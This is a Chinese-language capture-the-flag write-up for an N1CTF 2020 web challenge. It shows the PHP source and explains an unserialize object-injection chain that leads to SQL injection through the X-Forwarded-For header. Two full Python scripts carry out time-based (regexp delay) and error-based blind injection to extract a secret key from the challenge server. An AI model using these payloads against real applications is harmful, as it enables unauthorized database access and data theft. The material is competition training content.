题目给出了源码。。
<?php
class ip {
public $ip;
public function waf($info){
}
public function __construct() {
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$this->ip = $this->waf($_SERVER['HTTP_X_FORWARDED_FOR']);
}else{
$this->ip =$_SERVER["REMOTE_ADDR"];
}
}
public function __toString(){
$con=mysqli_connect("localhost","root","********","n1ctf_websign");
$sqlquery=sprintf("INSERT into n1ip(`ip`,`time`) VALUES ('%s','%s')",$this->waf($_SERVER['HTTP_X_FORWARDED_FOR']),time());
if(!mysqli_query($con,$sqlquery)){
return mysqli_error($con);
}else{
return "your ip looks ok!";
}
mysqli_close($con);
}
}
class flag {
public $ip;
public $check;
public function __construct($ip) {
$this->ip = $ip;
}
public function getflag(){
if(md5($this->check)===md5("key****************")){
readfile('/flag');
}
return $this->ip;
}
public function __wakeup(){
if(stristr($this->ip, "n1ctf")!==False)
$this->ip = "welcome to n1ctf2020";
else
$this->ip = "noip";
}
public function __destruct() {
echo $this->getflag();
}
}
if(isset($_GET['input'])){
$input = $_GET['input'];
unserialize($input);
}
首先。切入点肯定是flag类的__destruct方法
在flag类中有getflag方法。不过必须$this->check
等于md5(key)
继续看代码
flag类有个wakeup方法。会把$this->flag
和n1ctf比较。如果$this->ip
中存在n1ctf这个字符串。就会输出welcome to nictf2020。否则就输出noip
这里就可以触发ip类的__tostring方法。
并且XFF头可控。然后bypass一下waf就行了
解法一
将$this->ip=new ip;
。然后XFF打sql注入
import requests
import time
url='http://101.32.205.189/?input=O:4:"flag":2:{s:2:"ip";O:2:"ip":1:{s:2:"ip";N;}s:5:"check";N;}'
x=""
for i in range(1,100):
max = 130
min = 30
while max >=min:
mid=(max+min)//2
#header={"X-Forwarded-For": "'+if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='n1key'),"+str(i)+",1))>"+str(mid)+"),(select concat(lpad(1,999999,'a'),lpad(1,999999,'a'),lpad(1,999999,'a'),lpad(1,999999,'a'),lpad(1,999999,'a'),lpad(1,999999,'a'),lpad(1,999999,'a'),lpad(1,999999,'a'),lpad(1,999999,'a'),lpad(1,999999,'a'),lpad(1,999999,'a'),lpad(1,999999,'a'),lpad(1,999999,'a'),lpad(1,999999,'a'),lpad(1,999999,'a'),lpad(1,999999,'a')) regexp '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'),1),'123')#"}
header = {
"X-Forwarded-For": "'+if((ascii(substr((select `key` from n1key)," + str(i) + ",1))>" + str(mid) + "),(select concat(lpad(1,999999,'a'),lpad(1,999999,'a'),lpad(1,999999,'a'),lpad(1,999999,'a'),lpad(1,999999,'a'),lpad(1,999999,'a'),lpad(1,999999,'a'),lpad(1,999999,'a'),lpad(1,999999,'a'),lpad(1,999999,'a'),lpad(1,999999,'a'),lpad(1,999999,'a'),lpad(1,999999,'a'),lpad(1,999999,'a'),lpad(1,999999,'a'),lpad(1,999999,'a')) regexp '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'),1),'123')#"}
t1 = time.time()
try:
r=requests.get(url=url,headers=header,timeout=3)
print(r.text)
max = mid
if max == mid == min:
x += chr(mid)
print(str(i) + ':' + x)
break
except:
t2=time.time()
if((t2-t1)>3):
min = mid + 1
else:
max=mid
if max == mid == min:
x += chr(mid)
print(str(i) + ':' + x)
break
解法二
利用exp函数配合if。使其报错。报错中包含N1CTF。就是一个布尔盲注
import requests
import time
url='http://101.32.205.189/?input=O:4:"flag":2:{s:2:"ip";O:2:"ip":1:{s:2:"ip";N;}s:5:"check";N;}'
x=""
for i in range(1,600000):
max = 130
min = 30
while max >=min:
mid=(max+min)//2
header = {"X-Forwarded-For": "'+if((ascii(substr((select `key` from n1key)," + str(i) + ",1))>" + str(mid) + "),exp(~'n1ctf'),1),1)#"}
try:
r = requests.get(url=url, headers=header, timeout=3)
except:
r = requests.get(url=url, headers=header, timeout=3)
if "<code>welcome to n1ctf2020</code></pre>" in r.text:
min=mid+1
else:
max=mid
if max==mid==min:
x+=chr(mid)
print(str(i)+':'+x)
break
得到key后。反序列化下直接传就行